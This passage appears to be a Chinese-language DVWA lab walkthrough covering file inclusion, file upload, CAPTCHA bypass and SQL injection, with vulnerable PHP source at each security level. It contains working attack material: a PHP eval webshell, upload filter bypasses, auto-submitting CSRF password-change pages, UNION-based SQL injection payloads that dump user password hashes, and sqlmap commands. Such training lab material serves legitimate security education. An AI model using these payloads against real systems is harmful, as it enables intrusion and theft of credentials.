// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

增加了 str_replace 函数对 page 参数进行处理,将 http://https://../..\ 替换成空字符(删除)。

漏洞利用

hthttp://tp:// , ..././ 等经过过滤后成为: http:// , ../

High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

使用了 fnmatch 函数检查 page 参数,要求 page 参数的开头必须是 file ,服务器才会去包含相应的文件。依然可以利用 file 协议绕过防护策略,需要结果文件上传,将文件上传到服务器,并能获取到完整的路径,即可利用文件包含漏洞执行上传的文件。

Impossible

源码

1
2
3
4
5
6
7
8
9
10
11
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

简单粗暴,page 参数必须为 include.phpfile1.phpfile2.phpfile3.php 之一,彻底杜绝了文件包含漏洞。

File Upload (文件上传)

Low

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

?>

basename(path,suffix) 函数返回路径中的文件名部分,如果可选参数 suffix 为空,则返回的文件名含后缀名,反之不包含后缀名。

服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

漏洞利用

上传漏洞利用的条件是,成功上传木马文件,上传的文件必须能被执行,上传的路径必须可知。

构造木马文件 hack.php

hack.php
1
2
3
<?php
@eval($_POST['hacker']);
?>

上传成功返回路径 ../../hackable/uploads/hack.php

使用浏览器访问 http://dvwa.local/vulnerabilities/upload/../../hackable/uploads/hack.php 没有报错显示为空白。

使用菜刀连接 http://dvwa.local/vulnerabilities/upload/../../hackable/uploads/hack.php 参数名 : hacker

Medium

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

限制文件类型必须是 jpegpng 大小不能超过 100000B (约97.6KB)。

漏洞利用

  • 文件包含与文件上传组合

直接将 hack.php 命名为 hack.jpg 文件,将其上传后,利用文件包含漏洞可解析执行 jpg 文件内的指令,使用菜刀连接(脚本类型选PHP)。

  • Burp Suite Pro 改包

无文件包含漏洞,将 hack.php >> hack.jpg >> 上传 >> Burp Suite Pro 抓包 >> hack.jpg 改为 hack.php >> Forward >> 获得返回地址 >> 菜刀获取webshell。

  • 截断绕过

服务器的 php 版本小于 5.3.4Magic_quote_gpcoff 时文件名可使用 %00 截断,将文件命名为 hack.php%00.png 上传,由于被 %00 截断,服务器保存的文件为 hack.php 获取返回地址菜刀获取webshell。

High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

strrpos(string,find,start) 函数返回字符串 find 在另一字符串 string 中最后一次出现的位置,若没找到支付串则返回 false 可选参数 start 规定搜索开始点。

getimagesize(string filename) 函数通过读取文件头,返回图片的长、宽等信息,如果没有相关图片文件头,函数报错。

通过限制文件名 . 后面的字符串,限制了文件的类型,文件必须是 .jpg.jpeg.png 之一,同时使用 getimagessize 函数限制了文件头必须为图像类型。

漏洞利用

使用 copy 命令将 hack.php 与图片文件 image.jpg 合并。

1
copy image.jpg/b+hack.php/a shell.jpg

用记事本打开生成的文件 shell.jpg 可看到末尾加入了 hack.php 内的内容。

也可用记事本打开 image.jpg 直接复制 hack.php 文件内容到 image.jpg 的末尾。

将生成的文件直接上传即可。

Impossible

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}

// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

imagecreatefromjpeg(filename) 函数返回图片文件的图像标识,失败返回false。

imagejpeg(image,filename,quality)image 图像以 filename 为文件名创建一个 JPEG 图像,可选参数 quality 范围从 0 (最差质量,文件更小)到 100 (质量最佳,文件最大)。

imagedestroy(img) 函数销毁图像资源。

该等级对上传的文件进行了重命名(为md5值),加入 Anti-CSRF token 防护 CSRF 攻击,同时对文件的内容进行了严格的检查。

文件上传与文件包含: 文件包含是指调用文件,可调用本地的文件,也可调用远程的文件;文件上传是指上传一个文件,如果上传木马,上传后往往需要调用执行,因此,文件上传与文件包含经常会打组合拳。

Insecure CAPTCHA (不安全的验证码/不安全的验证过程)

reCAPTCHA 验证流程 : 模块验证码由 Google 提供 reCAPTCHA 服务;用户向 Google 发送请求验证码模块的js >> Google 返回验证码 >> 用户发送输入的验证码到网站服务器 >> 网站服务器向 Google 验证用户输入的正确性 >> Google 返回验证结果。

服务器通过调用 recaptcha_check_answer 函数检查用户输入的正确性。

由于是绕过验证码,无需科学上网环境。

Low

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

给密码分两步:

  • 检查用户输入的验证码,验证通过后,服务器返回表单
  • 客户端提交 post 请求,服务器完成更改密码操作。

其中存在明显逻辑漏洞,服务器仅通过检查 Changestep 来判断用户是否已经输入了正确的验证码。

漏洞利用

ps: 由于没有科学上网,发送的请求包中没有 reCAPTCHA 的相关参数。

  • Burp Suite Pro 抓包 >> 修改 step=1step=2 >> Forward

  • 没有防 CSRF 机制,可构造攻击页面,受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器,但当密码修改成功后,服务器会返回 302 实现自动跳转更改密码成功界面,使受害者意识到自己被攻击了。

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<body onload="document.getElementById('transfer').submit()">
<div>
<form method="POST" id="transfer" action="http://dvwa.local/dvwa/vulnerabilities/captcha/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="step" value="2"
<input type="hidden" name="Change" value="Change">
</form>
</div>
</body>
</html>

Medium

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

增加了对参数 passed_captcha 的检验,如果参数值为 true 则认为用户通过了验证码检查,然而依然可通过伪造参数绕过验证,本质上与 Low 级没区别。

漏洞利用

  • Burp Suite Pro 抓包 >> 修改 step 值为 2 ,在末尾添加参数 &passed_captcha=true >> Forward

  • CSRF 攻击页

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<body onload="document.getElementById('transfer').submit()">
<div>
<form method="POST" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="passed_captcha" value="true">
<input type="hidden" name="step" value="2">
<input type="hidden" name="Change" value="Change">
</form>
</div>
</body>
</html>

High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for user
echo "<pre>Password Changed.</pre>";

} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}

} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

服务器验证逻辑是当 Google 返回的验证结果 $resptrue 且参数 g-recaptcha-response 等于 hidd3n_valu3 (或 http 包头的 User-Agent 参数等于 reCAPTCHA) 时,认为验证码输入正确,反之这未通过验证码的检查。

增加了 Anti-CSRF token 机制防御 CSRF 攻击

漏洞利用

清楚验证逻辑,就可针对伪造绕过了,由于 $resp 参数人为无法控制,重心只能放在参数g-recaptcha-responseUser-Agent 上。

Burp Suite Pro 抓包 >> 添加 &g-recaptcha-response=hidd3n_valu3 以及修改 User-Agent 值为 reCAPTCHA >> Forward

Impossible

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php

if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );

$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the end user - success!
echo "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

增加了 Anti-CSRF token 机制防御 CSRF 攻击,利用 PDO 技术防范 SQL 注入,验证不再分成两个部分,验证码无法绕过,同时要求用户输入之前的密码,进一步加强身份认证。

SQL Injection (SQL 注入)

SQL 注入指攻击者通过在原有的 SQL 语句中注入恶意的 SQL 命令,破坏原有语句的结构,通过执行这些恶意语句欺骗数据库执行,导致数据库信息泄漏,其危害是巨大的,常常会导致整个数据库被 “脱库”。

手工注入 :使用注入神器固然好用,但还要掌握手工注入的思路。

  • 判断是否存在注入,注入是字符型还是数字型
  • 拆解 SQL 查询语句中的字段数
  • 确定显示的字段顺序
  • 获取当前数据库
  • 获取数据库中的表
  • 获取表中的字段名
  • 下载数据

Low

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

Low 级对来自客户端的参数 id 没有进行任何的检查与过滤,存在明显的 SQL 注入。

漏洞利用

现实攻击场景中,攻击者是无法看到后端代码的,一些的手工注入步骤建立在无法看到源码的基础上。

判断是否存在注入,注入是字符型还是数字型

输入 1 ,查询成功 >> 输入 1'and 1 = 2 -- 查询失败,返回结果为空, 输入 1' and 1=1 -- 查询成功 >> 输入 1' or '1234' ='1234,查询成功,且返回多个结果 >> 说明存在字符型注入。

拆解 SQL 查询语句中的字段数

1' or 1=1 order by 1 # 查询成功
1' or 1=1 order by 2 # 查询成功
1' or 1=1 order by 3 # 查询失败

说明执行的 SQL 查询语句中只有两个字段,即 First nameSurname

也可使用 union seclct 1,2,3... 猜解字段数

确定显示的字段顺序

1' union select 1,2 # 查询成功

猜测执行的 SQL 语句为 select First name,Surname from <表> where ID='$id'

而真正的语句为 SELECT first_name, last_name FROM users WHERE user_id = '$id';

获取当前数据库

1' union select 1,database() # 查询成功,获得数据库名为 dvwa

获取数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 成功查到 dvwa 中共有两个表, guestbookusers

group_concat() 函数将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

information_schema 这个数据库中保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库表,表栏的数据类型与访问权限等。

获取表中的字段名

1' union select 1,group_concat(column_name)from information_schema.columns where table_name='users' # 成功查询到 users 表中有 8 个字段,user_id,first_name,last_name,user,password,avatar,last_login,failed_login

下载数据

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password)from users # 成功将 users 表中所有用户的 user_id,first_name,last_name,password 数据

使用 sqlmap 攻击

使用 Burp Strip Pro 抓包,将抓到的包保存为文本 hack.txt

hack.txt
1
2
3
4
5
6
7
8
9
10
GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: php.local:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://php.local:81/vulnerabilities/sqli/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=05djofsqdd62727is2vv7ckeh6; security=low
Connection: close

使用 sqlmap 命令进行攻击

1
2
3
4
5
6
7
sqlmap -r hack.txt --dbs --batch  # 获取数据库列表

sqlmap -r hack.txt --dbs --batch --current-db # 获取当前数据库名

sqlmap -r hack.txt -D dvwa --tables --batch # 获取数据库中的表名

sqlmap -r hack.txt -D dvwa -T users --columns --batch # 获取表中的列名

Medium

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

利用 mysql_escape_string 函数对特殊字符 \x00,\n,\r,\,',",\x1a 进行转义,同时前端设置了下拉选择表单,希望控制用户输入。

漏洞利用

判断是否存在注入,注入是字符型还是数字型

通过 Burp Suite Pro 抓包 >> 修改 id 为 1' or 1=1 # 报错 >> 修改 id 为 1 or 1=1 # 查询成功,说明存在数字型注入 (数字型注入,服务段的 mysqli_real_escape_string 函数就形同虚设了,因为数字注入不需要借助引号)

拆解 SQL 查询语句中的字段数

抓包 >> 修改 id 为 1 order by 2 # 查询成功 >> 修改 id 为 1 order by 3 # 报错 >> 判断查询语句中只有两个字段,即返回的 First nameSurname

确定显示的字段顺序

抓包 >> 修改 id 为 1 union select 1,2 # 查询成功 >> 判断执行的 SQL 语句为 select First name,Surname from <表> where ID=$id (正确的 SELECT first_name, last_name FROM users WHERE user_id = $id;)

获取当前数据库

抓包 >> 修改 id 为 1 union select 1,database() # ,查询成功,获得库名 dvwa

获取数据库中的表

抓包 >> 修改 id 为 1 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() # 查询成功,获得数据库 dvwa 中的两个表名 guestbookusers

获取表中的字段名

抓包 >> 修改 id 为 1 union select 1,group_concat(column_name)from information_schema.columns where table_name='users' # 查询失败,因为单引号被转义了 >> 利用16进制进行绕过将 'users' 换成 0x7573657273 即可查询成功,获得 users 表中有8个字段。

下载数据

